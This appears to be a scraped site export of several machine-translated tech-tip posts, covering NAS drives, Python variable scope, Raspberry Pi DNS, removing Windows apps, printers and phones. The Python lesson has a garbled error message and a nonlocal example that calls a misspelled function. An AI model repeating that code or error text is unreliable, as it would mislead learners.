form, you should compare the difference in cost and ensure that the drives are provided in the populated model with good value.\nWhich drives are used inside NAS devices? Manufacturers selling diskless NAS drives recommend certain hard drive models, which have been tested for use with their NAS drives. These models may resemble hard drives that the manufacturer makes or not. See the list of these compatible drives before you decide to buy the device. If you own multiple hard drives that are intended to be installed, you will want to search for information to confirm that. If your hard drive is not on the list, that doesn't mean they don't work, but if you buy a new drive, it's best to follow the NAS manufacturer's recommendations.\nSome hard drives from HGST, Seagate, Toshiba and WD are specially designed for NAS use. Most of these \"NAS-certified\" hard drives have been tested to run 24/7/365, which is a bit overkill for ordinary hard drives, at the consumer level.\n  If you are viewing options from Seagate manufacturers, then NAS drives are called \"IronWolf\" and \"IronWolf Pro\" lines. IronWolf drives are the right choice after equipping an NAS drive in the house. They usually have 1TB to 14TB capacity. IronWolf Pro drives are often used for business or commercial purposes. HGST drives are NAS Deskstar and Toshiba is included in the \"N\" series. On Western Digital, NAS-specific drives are \"WD Red\", with capacities ranging from 1TB to 10TB, with the \"WD Red Pro\" line for businesses.\nSafe (storage) space: Redundant than lacking As the article mentioned earlier, NAS units have more than one drive, built to provide backup options, so in models with 2 and 4 drives, secondary drives can be simple. is \"mirroring\" the contents of another drive. For example, a NAS containing two compartments has 2 4TB drives, will only provide 4TB of usable storage, if you leave it in the mirror mode. The other drive is invisible, because it is used to create a second copy of all files from the first drive in the background.\nTypically, users have the option to reconfigure drives to take advantage of the capacity of the second drive, if desired. One way you can do this is through the \"striping\" method, in which data will spread across both drives. Striping is a bit of luck. In some cases, it helps speed up reading and writing, because you are accessing two drives at the same time. But if either disk fails, it is possible that all your data will be lost, so you should not use this method.\nMany NAS units also support JBOD mode (\"Just a Bunch of Disks\"), allowing you to handle each drive as a separate drive letter and save the data to separate drives in the NAS box. This is a bit safer than the basic striping method, but any data you save to a certain drive is still easy to lose if the drive fails.\nIt is also possible to combine both striping and mirroring methods on three or more drives to increase data security and speed. In such a way, the NAS will copy the data on the hard drive array, in the way when one of the drives fails, the NAS will recreate this array (and thus protect your data), If you change to a replacement drive. This is primarily concerned by business users, which need to maximize both redundancy and data transfer rates.\nSophistication when transmitting media files If you think the NAS drive will allow you to stream any type of media file to any device or TV, remember that some devices will only play certain types of files and you'll need to There are software and hardware that work in parallel to do this.\nFor example, you have a rip DVD (copy from the official release) of the Titanic movie in AVI format. This copy will not open on iPhone, if not some 'tricks'. (It needs to be in MP4 format for iPhone readable). The software can fix that problem, such as the extremely useful VLC Media Player utility and a number of NAS units that work with Chromecast, Apple TV, Roku, Android phones / tablets and many other types of hardware. . However, making sure that a particular file or file type is played on a certain device can be a bit complicated, so please take a closer look at the NAS specifications to determine its capabilities.\n  Special types of support for transmitting 4K videos are 'lifesaver' for you in these cases. Some 4K accelerated NAS devices will convert this high-resolution video quickly into formats more suitable for device bit rates, such as smartphones, which are required. it. This is a special need at this point, but keep in mind that some NAS manufacturers will charge extra for these features.\nConnect and control Most NAS drives have one or two USB ports that you can use to connect printers or external storage drives, allowing you to add them to your network via the NAS itself. When plugged in, like everything else on NAS, they can be shared with all connected users. A NAS drive will have a USB 2.0 port that is normally used to share printers and USB 3.0 ports can be used for external storage. (USB 2.0 is much slower than USB 3.0, but USB 2.0 port is still enough).\nSome NAS units also have a \"copy\" button on the front panel designed to copy the contents of an external drive, such as a flash drive, to a NAS with the click of a button. You just need to connect the drive and touch that button, and everything on the external hard drive will be safely copied to the NAS to a designated location.\n  By definition, NAS drives will come with an Ethernet port, maybe two ports for redundancy or channel-bonding (basically, using two Ethernet connections to enhance speed) with very high-end models. for businesses. Recent high-end models can also provide options for 10 gigabit Ethernet, to speed up data transfer, although hard drive throughput makes this a controversial point for most consumers. and SOHO usage cases. (Some models have PCI slots that may allow you to install an advanced network card).\nSome models will also come with HDMI ports, allowing you to use NAS as a media server that connects directly to an HDMI-equipped HDTV.\nRemote access In addition to the above sharing features, most NAS drives allow you to send web links to people, to allow them to access certain remote files or folders on your NAS. Therefore, NAS can act as your own Dropbox or Google Drive, but with larger storage capacity and no monthly costs. Many NAS manufacturers insist on this point.\nWith this function, you can also access the NAS itself from any Internet connection, not just over the local network. Therefore, you can download the files you need or stream the movie / music files on your home NAS to your laptop in a local or overseas hotel. Most, but not all, NAS drives offer this kind of feature, so be sure to do a thorough research before deciding to buy, if that's a must-have feature.\nBelow are the most recently tested top NAS devices, from simple home models to multi-drive models, with the ability to serve dozens of users in an office environment. Whether you want to transfer media files somewhere in the house, keep documents in a single archive, access them or simply back up digital data from a PC, tablet and phone. Mobile, will definitely have a choice that suits you.\nFor more storage options, see the list of external hard drives, SSDs, and TipsMake.com's top cloud storage services mentioned.\nThe best NAS devices today QNAP TS-251B-4G Price: $ 339 (VND 7,910,000) Advantages: Fast performance. Easy to set up. Lots of gates. Supports 4K video transcoding and IFTTT automation. Many application options. Disadvantages: Does not include hard drive. Summary: QNAP TS-251B-4G is an easy-to-use, high-speed dual-drive NAS device equipped with multiple ports and applications. Synology DiskStation DS718 + Price: $ 399.99 (VND 9,334,000) Advantages: Easy to install. Provide 4K video transcoding feature. Support multiple RAID configurations. Multiple port options. Support multiple applications. Disadvantages: Does not come with hard drive. Summary: Synology DiskStation DS718 + is a versatile dual-drive NAS, providing stable performance. Synology DiskStation DS1019 + Price: $ 619 (VND 14,445,000) Advantages: Fast performance. Easy to install. Many application options. Lots of RAID options. User-friendly operating system. Quiet operation. Cons: The price is quite high. Summary: Synology DiskStation DS1019 + is a 5-compartment NAS device, providing fast performance and valuable features, including support for multiple RAID configurations, 4K video transcoding and a variety of applications. Asustor AS4002T NAS Price: $ 259 (VND 6,045,000) Advantages: Easy to configure. Fast performance. 10Gb Ethernet. There is a free hard drive installation tool. Great application catalog. Disadvantages: Does not include hard drive. Port limit I / O. A little noisy. Summary: Asustor AS4002T is a dual-drive, feature-rich, well-functioning NAS, easy to install and configure. Synology DiskStation DS218j Price: $ 169.99 (VND 3,868,000) Advantages: Very easy to install and manage. Powerful application. Fashion Designer. Good price. Disadvantages: File transfer performance when testing is only average. Do not come with a hard drive. Summary: Synology DiskStation DS218j is an excellent 2-compartment NAS device supported by a wide range of third-party application and management options. Synology DiskStation DS418play Price: $ 429.99 (VND 10,034,000) Advantages: Easy to install. Double LAN port. Wide range of applications. Good file transfer performance. Disadvantages: Does not include storage drives. Summary: SynStation DiskStation DS418 is a 4-compartment media storage device that provides a wide range of applications and relatively fast performance. Asustor AS6302T Price: $ 369 (8,611,000 VND) Advantages: 4K video output. Connect USB Type-C. User-friendly web and mobile management application. Support a lot of third-party applications. Cons: High price. File transfer speed is only average. The installation process is quite complicated. In summary: Asustor AS6302T is a 2-compartment NAS device that offers admirable port selection and feature set, but it's difficult to set up and file transfer speeds are too trivial. Promise Apollo Price: $ 299 (VND 6,977,000) Advantages: Easy to set up, access and share. Automatically upload phone camera roll. Cons: Slightly slow. Not for advanced users. Cannot map hard drive to direct access. Must use the application to access memory. Summary: The Apollo 4 terabyte Promise is a personal cloud device connected to the router, automatically downloading, saving photos and videos from a smartphone or tablet, so you can create more free storage space. more on your device. Promise Apollo Cloud 2 Duo Price: $ 449 (VND 10,480,000) Advantages: Easy to install and use. Fashion Designer. Mobile and web user interface. Auto backup camera roll. Disadvantages: Hard drives are not easily accessible. Restrictions on features. Average file transfer performance. Summary: The Promise Apollo Cloud 2 Duo is a nice, simple NAS device, offering an easy-to-use personal cloud storage option, although a bit slower than other competitors. TerraMaster F2-221 NAS Price: $ 269.99 (VND 6,302,000) Advantages: Supports 4K video transcoding. Lots of I / O ports. There is mobile application. File transfer performance is quite good. Disadvantages: Complex setup procedures. There are few references. Limited application. Summary: The TerraMaster F2-221 is a dual hard drive NAS, works well and comes with a number of useful features, but is limited by difficult setup processes and limited support. Wish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kr6a%2F02almqtdo7K1w86romaZpKmupLTEnWSsrJ%2BnrqixjJ2cr6GTmsButc1maWlpaQ%3D%3D\n","link":"/post/best-nas-network-attached-storage-devices-in-2019/","section":"post","tags":null,"title":"Best NAS (Network Attached Storage) devices in 2019"},{"body":"In this Python lesson you will learn about global variables, local variables, nonlocal variables in Python and the use of these variables.\nGlobal variables in Python In the Python programming language, a variable declared outside a function or in a global scope is called a global variable or a global variable. Global variables can be accessed from inside or outside the function.\nTake a look at an example of how to create global variables in Python.\nx = \"Biến toàn cục\" #khai báo biến x #Gọi x từ trong hàm vidu() def vidu():  print(\"x trong hàm vidu() :\", x) vidu() #Gọi x ngoài hàm vidu() print(\"x ngoài hàm vidu():\", x)  In the above example, we declare the variable x as a global variable, and define the function vidu() to print the variable x. Finally, we call vidu() to print the value of variable x . Running the above code will result in:\n x in vidu (): Global variable x outside vidu (): Global variable  What happens if you change the value of x in the function?\n x = 2 def vidu():  x=x*2  print(x) vidu()  If you run this code you will get an error message:\n Không kết nốiLocalError: địa chỉ nội bộ x x tham chiếu trước khi chuyển đổi  This error occurs because Python treats x as a local variable and x not defined in vidu() .\nTo change global variables in a function you will have to use the global keyword. We will talk more in the article about global keywords.\nLocal variable in Python Variables declared inside a function or in a local scope are called local or local variables.\n def vidu (): y = \"Local variable\" vidu () print (y)  When you run the above code, you will receive an error message:\n NameError: name 'y' is not defined  This error occurs because we tried to access the local variable y in the global scope, but he only works in the vidu() function or the local scope.\nNormally, to create a local variable, we will declare it in a function like the example below:\n def vidu (): y = \"Local variable\" print (y) vidu ()  Running the above code will result\n Local variable  We go back to looking at the previous problem, where x is a global variable and we want to change x in vidu() .\nLocal variables and global variables Here, we will learn how to use local and global variables in the same code.\nx = 2 def vidu (): global x y = \"Local variable\" x = x * 2 print (x) print (y) # Written by TipsMake.com vidu ()  Running the above code we will have output:\n 4 Local variable  In the above code, we declare x as a global variable and y is a local variable in vidu() and use the * operator to change global variables and print both the values ​​of x and y. After calling vidu() the value of x will be 4 because it is duplicated.\nExamples using global variables and localized names:\nx = 5 def vidu (): x = 10 print (\"Local variable:\", x) vidu () print (\"Global variable x:\", x)  After running the above code, we have the output:\n Local variable: 10 Global variable x: 5  In the above code, we use the same x name for both local and global variables. When printing the same variable x, we get two different results because the variable is declared in both the scope and the local (inside the vidu() function) and the global (outside the function vidu() ).\nWhen we print the variable in the function vidu() it will output Biến x cục bộ: 10 , this is called the local scope of the variable. Similarly when we print variables outside the function vidu() will produce Biến x toàn cục: 5 , this is the global scope of the variable.\nNonlocal variable in Python From this nonlocal I don't know how to translate it into Vietnamese so it is standard. In Python, the nonlocal variable is used in nested functions where local scope is not defined. Understandably, the nonlocal variable is not a local variable, not a global variable, you declare a variable as nonlocal when you want to use it at a wider range than local, but not to a global level.\nTo declare the variable nonlocal we need to use the nonlocal keyword.\nFor example:\ndef ham_ngoai():  x = \"Biến cục bộ\"  def ham_trong():  nonlocal x  x = \"Biến nonlocal\"  print(\"Bên trong:\", x)  ham_trong()  print(\"Bên ngoài:\", x) hamngoai()  Running the code above you will have the output:\n Inside: Variable nonlocal Outside: Variable nonlocal  In the above code there is a nested function called ham_trong() , we use the nonlocal keyword to create a nonlocal variable. ham_trong() function is defined in the scope of ham_ngoai() .\nNote: If we change the value of the nonlocal variable, the change will appear in the local variable.\nDon't forget to do your Python homework.\nNext article: Global keyword in Python\nPrevious article: Anonymous function, Lambda in Python\nncG1vNJzZmismaXArq3KnmWcp51ktK27wZqjZq6Rp7airsueqmafnKSvoriMpaacmZxiw6K%2ByJqZpZ2jYrmwr8ClZKennqG8pK3LZq2aqpmWr62x0magp2WgrsGpu80%3D\n","link":"/post/global-variables-global-local-variables-local-nonlocal-variables-in-python/","section":"post","tags":null,"title":"Global variables (global), local variables (local), nonlocal variables in Python"},{"body":"In addition to showing you which files to edit, we'll also walk you through some methods to make sure your Raspberry Pi is using the newly set up DNS.\nThere are many reasons why you might want to use a different DNS server as the ISP default. One of the top reasons is performance. Many DNS servers provided by ISPs can be extremely slow and can sometimes take a long time to update and add domains.\nThere are also security factors that need to be considered, usually the ISP's DNS server will leak the IP address as well as the cache details of the websites you are visiting. Alternatives like Cloudflare 1.1.1.1 help enhance privacy by not recording any identifying data and providing HTTPS over DNS.\n  Setting up a DNS server on a Raspberry Pi We recommend doing this tutorial on the latest version of Raspbian to make sure everything will work properly.\nStep 1. Changing DNS server is a simple process on Raspberry Pi. It requires only one file modification, in this case the dhcpcd configuration file.\nAlthough in some settings you may be able to modify the /etc/resolv.conf file , it is not recommended to do so on Raspbian installations.\nThe reason for this is because Raspbian comes with a program called resolvconf , which automatically generates the resolv.conf file. This means that any changes to it can be randomly overwritten making editing the 'resolutionv.conf' file an unreliable solution.\nInstead, modify the /etc/dhcpcd.conf file by running the following command on your Raspberry Pi.\nsudo nano /etc/dhcpcd.conf Step 2. Now add the following line at the end of the file.\nThis line identifies the name servers for the Raspberry Pi to use. The resolvconf program automatically uses this value to recreate the resolv.conf file.\nAny IP addresses specified after 'static domain_name_servers =' will be used to try and execute DNS requests. In the example below, you will see that both 8.8.4.4 and 8.8.8.8 are identified as Google's Public DNS servers.\nstatic domain_name_servers=8.8.4.4 8.8.8.8 If you don't want to use Google's DNS servers for your Raspberry Pi, there are a few other popular alternatives. The two most popular alternatives are Cloudflare Public DNS and OpenDNS.\nOne of the newest Public DNS is Cloudflare's 1.1.1.1, which is one of the fastest private public DNS out there, even implementing modern technologies like DNS over HTTPS (DoHS).\nDoHS means that the connection between the computer and the DNS server is encrypted, unlike most DNS providers.\nYou can use Cloudflare Public DNS using IP addresses 1.1.1.1 and 1.0.0.1\nThe second most popular alternative to Google Public DNS is Cisco's OpenDNS. It works using IP 208.67.222.222 and 208.67.220.220.\nOpenDNS attempts to block some websites from loading, such as phishing sites. It also allows you to set up your own filter categories so you can filter out websites if you want.\nStep 3. With these changes now made to the /etc/dhcpcd.conf file, you can now save it by pressing the following keys CTRL + X , then Y and finally ENTER.\nStep 4. Now the changes to the dhcpcd configuration have been made. You need to restart the service by running the following command.\nsudo service dhcpcd restart Check DNS changes Step 1. When you restart the DHCPCD service, the resolvconf software will automatically update the resolv.conf configuration file.\nYou can verify that the new DNS's IP is being set correctly on the Raspberry Pi by opening the resolv.conf file with the following command.\nsudo nano /etc/resolv.conf Step 2. In this file, you should now see something like the one below, with the DNS IP you set earlier.\nJust press CTRL + X to exit the file.\n# Generated by resolvconf domain home nameserver 8.8.8.8 nameserver 8.8.4.4 Step 3. If you are still not sure if your Raspberry Pi is using the newly set up DNS servers, you can use the dig tool.\nBefore you can use the 'dig' tool, you must install the dnsutils package. The package can be installed by running the following command in Teminal on the Raspberry Pi.\nsudo apt-get install dnsutils Step 4. Now to use the dig tool, just enter 'dig' followed by the domain name. In the example command below, we will try to use it on 'pimylifeup.com'.\ndig pimylifeup.com Step 5. From this command, you will see some text like below. This text tells you which IP address the Raspberry Pi has queried to look up that domain name.\nAs you can see below, the query was done with Google Public DNS IP 8.8.8.8, indicating that everything is working as it should and the DNS server was changed successfully on Raspberry Pi.\n;; Query time: 26 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Sun Dec 23 11:44:52 UTC 2018 ;; MSG SIZE rcvd: 75 DNS server how to change DNS server ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYydpaxlo5q%2Ft7HRZqanZaKWwLGuxKupsmWgng%3D%3D\n","link":"/post/how-to-change-dns-server-on-raspberry-pi/","section":"post","tags":null,"title":"How to change DNS server on Raspberry Pi"},{"body":"The Camera Roll and Saved Pictures folders come with Windows 10 by default. But if you don't use them, they won't make any sense. The problem is that you cannot delete them normally.\nThe following article will show you how to move, hide or delete these folders so that they do not interfere, as well as hide related libraries.\nMove Camera Roll and Saved Pictures folders By default, the Camera Roll and Saved Pictures folders will be in the Pictures folder . You can easily move them to any other folder.\nYou need to solve each folder in turn. Right-click on the folder and select Properties. Switch to the Location tab .\nThere is a field where you can enter the directory path for where you want the folder moved.\nDon't worry if you don't know this link! Just click Move . , navigate in the destination folder of your choice and click on Select Folder . Finally, click OK to confirm the move.\nYou can return to this screen and click Restore Default\u0026gt; OK if you want the folder back in your Pictures .\nAlternatively, you can simply cut ( Ctrl + X ) and paste ( Ctrl + V ) the folder somewhere with File Explorer.\nHide the Camera Roll and Saved Pictures folders If you don't want to move folders or delete them permanently, you can hide them from view.\nTo do this, highlight both folders (or hold Ctrl as you click each one) and switch to the View tab on the ribbon. In the Show / hide section , click Hide selected items .\nIf you still see the folder but with the icon dimmed, that means you have the setting turned on to see hidden items. To turn off this feature, still on the View tab, uncheck Hidden items.\nReverting these instructions will allow the folders to show again.\nDelete the Camera Roll and Saved Pictures folders Because the Camera Roll and Saved Pictures folders are tied to the Camera and Photos app, the only way to permanently delete these folders is to uninstall the apps.\nThese apps come with Windows 10 and can't be uninstalled like a regular program. Instead, you need to use PowerShell to uninstall.\nTo get started, perform a PowerShell search . Next, right click on the result and select Run as administrator .\nCopy ( Ctrl + C ), paste ( Ctrl + V ) and press Enter on the keyboard for each command.\nTo uninstall Camera:\nGet-AppxPackage *windowscamera* | Remove-AppxPackage  To uninstall Photos:\nGet-AppxPackage *photos* | Remove-AppxPackage  Note that you can use the Photos app to browse photos on your computer without realizing it. A suitable alternative is Windows Photo Viewer .\nIf you want to reinstall those applications or any other deleted Windows applications, use this command in PowerShell:\nGet-AppxPackage -AllUsers| Foreach {Add-AppxPackage -DisableDevelopmentMode -Register \"$($_.InstallLocation)AppXManifest.xml\"} ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYycmKadopZ6s7vLpWSappRiwKLCxJ1kqaGTqcKzsdJmnaiklJq%2FtHnIp2SwoZ6ZvLi%2FjGpn\n","link":"/post/how-to-delete-camera-roll-and-saved-pictures-folders-in-windows-10/","section":"post","tags":null,"title":"How to delete Camera Roll and Saved Pictures folders in Windows 10"},{"body":"The ink shortage leads to the print error, such as no ink, print blurring, . In the case that the user cannot bring the printer to the store, or the technician comes home, you can also fix the error Printer with ink shortage error on Canon printer according to the article below.\n1. Fix Canon color ink shortage with Control Panel Step 1:\nFirst we access the Control Panel and then continue to click View devices and printers . Navigate to the Canon printer you want to adjust, right-click and select Printing preferences in the displayed menu.\n  Step 2:\nSwitch to the new interface, the user clicks on the Maintenance tab and then selects Maintenance and Preferences .\n  Step 3:\nNow displaying Canon IJ Printer Assistant Tool window interface , users click to select Ink Flush .\n  Display the message as shown below, click OK to agree.\n  Step 4:\nSwitch to the next interface, click on the ink color you need to perform inks up . Click Initial Check Items to display the items you need to check before performing ink suction.\n  Then click Start to run Ink Flush. Finally click OK to confirm.\n  2. Fix Canon printer ink shortage via Start menu Step 1:\nUsers click on the Start menu icon and select Canon Utilities , then click on the IJ Printer Assistant Tool .\n  Step 2:\nCanon IJ Printer Assistant Tool window appears, select Ink Flush. The following steps you perform are the same as above because the interface of steps is the same, only different from accessing Canon IJ Printer Assistant Tool interface.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqquspmqqGnoqmuqLGMqKVmm5GjvK95wqijqKpdpb%2BqutOeqaw%3D\n","link":"/post/how-to-fix-ink-shortage-on-canon-color-printers/","section":"post","tags":null,"title":"How to fix ink shortage on Canon color printers"},{"body":" How to block annoying calls on iPhone? How to block any call on your Android phone How to call when blocked number on iPhone? Certainly in everyday life, sometimes you have a situation where you can't contact your phone with a friend or relative. Calling and not listening, no reply. Does their phone have problems or have you been blocked from contacting that subscriber?\nTo help users answer this issue, the following article Network Administrator will show you how to check if the phone number is blocked or not. This method is only applicable on iPhone devices.\n1. Check the words \"Delivered\" in iMessage\n  It is hard to know who blocked your number, because when they block you will not receive any notifications. To find out if your number is blocked, go to the message section. If your subscription number is blocked by the other end of the line, there is no notification or display after sending it. Otherwise, if the number is not blocked, it will display a \"Delivered\" message below your message.\nIf the previous message has this \"Delivered\" line, the nearest message is not available, which means you are blocked.\n2. Check by SMS\n  \nIn addition, you can also check by SMS messages directly. You can text any message to that subscriber, accordingly if you see below the message Sent as text message this means your message has been successfully sent to that subscriber. And vice versa if your SMS does not receive any response or confirmation, it is a sign that your phone number has been blocked.\n3. Define \"Do not Disturb\" mode (do not disturb)\nIf the person you texted without blocking your number and their phone is simply in Do Not Disturb mode, when their phone exits this mode, they will receive iMessage notifications and messages. friend.\n   Accordingly, if someone is turning on Do Not Disturb mode, you will still receive a notification about your message being transferred when they turn off this mode, but will not receive it in case you are blocked.\n4. Signs from Voicemail (Voicemail)\nIn addition to the above factors, there is also the case that the friend's phone is having trouble or something that cannot answer your message. However, if you have not received a reply within a few hours, you can call that subscriber to check if you have been blocked.\n  Accordingly, if the phone is still ringing, but very short, there is not enough ringing and switches to voice mail connection.\nYou can still leave voice messages like in unbounded calls, but that message will appear in a separate section of the voice mail on the recipient's iPhone phone, which is the part where the calls are stored. block out.\nThe only way for the recipient to know the blocked person has called is when they open the voicemail box and check the Blocked Messages section.\nIf your phone number is not blocked and the person you are contacting is just turning on Do Not Disturb mode, your voice message will still be transferred to the message that is not normally blocked.\n  Also, if you call for a second time within 3 minutes and you are not blocked, your second call can be \"informed\" by the Repeated Calls feature. However, this feature does not guarantee that your second call will be clear.\nOf course all of the above signs can help you verify your problem is relatively certain. However, in all cases, if possible, it is still best to communicate directly to know the truth.\nI wish you all success!\nSee more:\nHow to block messages and calls on Skype Instructions to block spam messages on Facebook Instructions on how to not receive messages from strangers on Zalo ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOepMRuv86mnKimlWKvrbvCpKCnn12uvLa%2BjKmfqKaVYru2ucGeqQ%3D%3D\n","link":"/post/how-to-know-someone-blocking-your-phone-number/","section":"post","tags":null,"title":"How to know someone blocking your phone number?"},{"body":"A member of the Reddit forum has just shared his interesting discovery that many people can enjoy. That's when using only a single USB cable, plugging into two USB-C ports together on an ASUS ROG Phone smartphone, it can 'charge itself.'\nASUS ROG Phone is a special gaming smartphone with up to 2 USB-C ports on the camera body, while regular smartphones only have 1. Its purpose is to help players who can charge the battery to play games continuously without interruption and can attach other accessories for data transfer, computer synchronization .\n  When using a USB-C cable to connect the two ports together, the ASUS ROG Phone will assume that it is being charged, showing the charging icon and displaying the message to allow the data to be transferred. USB connection by itself is an external hard drive.\nHowever, in fact, this is just a mistake because the ASUS ROG Phone does not distinguish itself from being plugged in, but its battery will not increase capacity.\nThis is a pretty interesting finding, but users should not do so often because it can cause conflicts for the device's components.\nSee more:\nHow must Samsung's smartphones and smartwatch go through a rigorous quality control process? Invitation to admire the Galaxy F concept with a beautiful folding screen Nubia X: Unique Android smartphone with 2 screens, 2 fingerprint sensors ncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKucrKyZo7RusdGrpqtlkajCtHnRqJ5mqJiku6Z5wZ6amqWVYsGpsYyfoKurpGLArq3Rraehp56aeqq6jK2fnmWnpL%2BtsIytpmajnqTEbq%2FHmqmgoZ6ceqrA0p6jnw%3D%3D\n","link":"/post/interesting-error-asus-rog-phone-became-the-first-smartphone-in-the-world-to-know-charging-itself/","section":"post","tags":null,"title":"Interesting error, ASUS ROG Phone became the first smartphone in the world to know 'charging itself'"},{"body":"Microchip Technology launched the low-cost MPLAB PICkitTM 4 internal debugging tool, allowing up to 5 times faster programming, wider operating voltage range (1,2-5V), improved USB connection advanced and more debugging options. It is expected that this new tool will replace the popular PICkit 3 programming tool.\nThis tool not only supports Microchip PIC microcontrollers and dsPIC digital signal controllers, but it also supports debugging and programming for hardware security chips CEC1702.\n  MPLAB PICkitTM 4 is equipped with a 300 MHz ATSAME70Q21B microcontroller on a high-performance circuit board, so it is suitable for designers in 8-bit space and 16-bit and 32-bit development space.\nFaster programming time is a very important factor when designing with 32-bit microcontrollers with larger memory capacity, which helps to reduce waiting time and improve working efficiency for the development process. .\nMPLAB PICkitTM 4 is compatible with Microchip's hardware security CEC1702, users will not have to invest in third-party tools for programming and debugging.\nAccording to reviews, MPLAB PICkitTM 4 is a 32-bit microcontroller with low power but very powerful, providing easy encryption, recognition, through private keywords and general keywords.\nCurrently, this tool is already on the market.\nSee more:\nIf you are a Web Developer, don't miss out on these 67 useful tools, libraries and resources! 26 useful websites should track if you are a web developer Why should you learn Python programming language? ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiaoaGgYrqxuMCbZKmhk6C2tXmTZphmppWserW7zqVkraCRqXq0wc%2Bppquso2Kxpq7UoJ6ippdigm7AyKacrGWWlsC1sdFmmKecXaG8uHnCqKqtZaCnvKi%2BwKakoqaX\n","link":"/post/microchip-mplab-pickit-4-a-new-tool-that-supports-debugging-5-times-faster-and-low-cost-programming/","section":"post","tags":null,"title":"Microchip MPLAB PICkit 4, a new tool that supports debugging 5 times faster and low cost programming"},{"body":"Bunny Day is coming in Animal Crossing: New Horizons, the wildly popular island life simulator for the\u0026nbsp;Nintendo Switch. Yes, Animal Crossing's analogue for Easter is arriving on April 12, and the next week and a half will basically be a giant egg hunt for most of us, adding to our existing obsessions with finding the rare fish, bugs and plants that populate the beloved franchise. It turns out unearthing colorful eggs is sort of the perfect antidote to the realities of social distancing and quarantine during the coronavirus pandemic -- especially if you do it online with friends.\n Along with the eggs, I've dug up a few nuggets of wisdom to make the game smoother and more rewarding as you build your life on the island, and I've added more each day as I've explored. If you're unfamiliar with the series, a little direction can help you navigate the game so you're not just collecting everything you see -- there's more structure than meets the eye.\u0026nbsp;\nSo here are a few tips and tricks for players of all kinds, whether you're already hard at work finding eggs for Zipper T. Bunny or buying the game is still on your personal horizon. I'll update this post as more tips come along.\nOnce you put these tricks into action, Animal Crossing: New Horizons will truly begin to open up to you. Keep discovering and crafting, keep chatting with your island friends and most of all, keep destressing while you do it.\nNow that you know how to jump-start your island getaway in Animal Crossing, check out some other tips for getting the most out of your Nintendo Switch and the seven other Switch games you need to play.\nncG1vNJzZmismaXArq3KnmWcp51kfnh5wZ6qrWWRo7aurctmmquno6i2r7OMp5ywZZikv6rGzqeqZqyZpcBuss6rZKehnqmyr7DOZqqwoaSYtQ%3D%3D\n","link":"/post/new-horizons-tips-for-nintendo-switch/","section":"post","tags":null,"title":"New Horizons tips for Nintendo Switch"},{"body":" 10 common mistakes when shopping make you spend more money 15 things that highly capable people don't usually do If you think hard is an essential element to success, you are wrong! In one way or another, parents, teachers and mentors around the world have always taught us: \" Money is not the most important thing in the world, but time .\" This is understandable.\nMost of the time we will realize that money is just a means, not an end . It gives us the opportunity but according to some studies, we increasingly overlook the search for the value that money brings.\n  In fact, the strongest connection between money and affluence comes from money that can help us buy time thanks to certain amenities and convenience.\nTime is limited and most of us often think that the more time we have, the more opportunities we have to experience the joys and happiness in life.\nBut is that true? Is time really good for our lives?\nI - the author of the article, has another opinion.The most important asset in everyone's life is not time, but attention . The quality of life does not depend on how many hours you have per day, but depends on how you use that time.\nYou can live 80 years of life and have a lot of free time but still cannot be as happy as those who only live for 40 years and succeed in paying the right attention to the things that really matter to them.\nEven though time is limited, with attention, you can change and extend the amount of time you yourself have more than others.\nBut unfortunately, this is more difficult than we thought.\nThis world is created against us   One of the biggest problems that our generation is facing is when the ability to concentrate - a prerequisite and important, the world around is created by things that are ready to take away the practice. That middle.\nInternet and technology companies are being built so they all have the opportunity to democratize. It is hard to say that social influences from these inventions are not positive. However, everything has its price.\nSmartphone addiction is real. And the stress caused by overuse of technology products is also real.\nBig companies like Google or Facebook not only create new products, they are also building an ecosystem. One of the most effective ways for this ecosystem to function is rooted in cohesion. It is to design applications that take away our focus on other things as much as possible.\nLast year, Tristan Harris , a former expert in Design Ethicist of Google, shared how designers created product features that could exploit the impulse in our minds. .\n  They find \" blind spots \" in our perception and use them to influence behaviors that we don't know ourselves. Every message you see, every email you receive, every website you visit is meticulously designed to make sure you spend most of your time on the products they create.\nToday, more than ever, we need to bring our minds back to focus. There are three simple ways to do that. Here are 3 extremely effective methods that will help improve your quality of life .\n1. Mindfulness Meditation (Mindfulness Meditation)   In the Buddhist tradition and modern therapies, meditation is the way to maintain the ability to concentrate through unconscious presence.\nIt is to sit still in a fixed position, close your eyes, focus and listen to what is happening in your body and mind. This is a way to help stimulate feelings of relaxation, reduce stress and help you stay away from distraction.\nVery simple! You just sit still and focus on the only thing around you. For most people, it's your own breath. They inhaled and exhaled and devoted their attention to that action.\nA mind filled with idiotic thoughts is very natural. The purpose of meditation is not necessarily to completely eliminate all these thoughts, but to observe your mind at the present time.\nOver time, this will become easier, but if it doesn't work, you can do it another way, which is to limit your focus to a certain thing when exercising or doing simple tasks. , repeat.\nSee more: 10 ways to relax make you smarter\n2. Focus on a single task   Contrary to many people's thoughts, multitasking ( multi-tasking ) is rarely an effective way to improve productivity, especially those that require a lot of movement. God.\nNot only that, multitasking also damages the brain. Every time you switch from one job to another when you are concentrating, you will have to put pressure on your mind and unpleasant stress.\nEven the continuous change between projects, tasks and different working environments for a long time also leaves what Sophie Leroy Business School professor calls \" attention residue \". . This affects your focus on new jobs.\nUnconsciousness with high concentration for a long time will help eliminate side effects. Moreover, single-mindedness has both brought about high performance and enhanced concentration.\nIn fact, the effect of monastic action is like the effect of mindfulness meditation. The more you do, the more proficient you become and the ability to control your attention on important things will also be enhanced.\nSee also: 10 great benefits of reading every day\n3. Separate from bad habits   Unconsciously checking notifications and surfing the web can be viewed as impolite, but it will gradually lead you to bad effects that are hard to see.\nOccasionally take your phone to log in to your social network account, take a 10-minute break to surf the web to become long hours of passion, your brain is building a trap that motivates it to support that action.\nOften, these smart electronic technology devices are an important part of modern life, but for them to not become the main motivations in life, you need to set your own limits . Separating from bad habits is not merely an advice, it is a crucial requirement.\nPersonally, the author of the article, usually does not check messages and emails at least until 3 pm every day and in the days when I do that, I feel a clear difference in the level of control. a day. In addition, I can also spend 24 hours to 48 hours a day without touching my computer or the phone.\nDifferent ways will work for different people, but you never realize how much your concentration has been taken until you've gone too far.\nConcerns have never been so great!   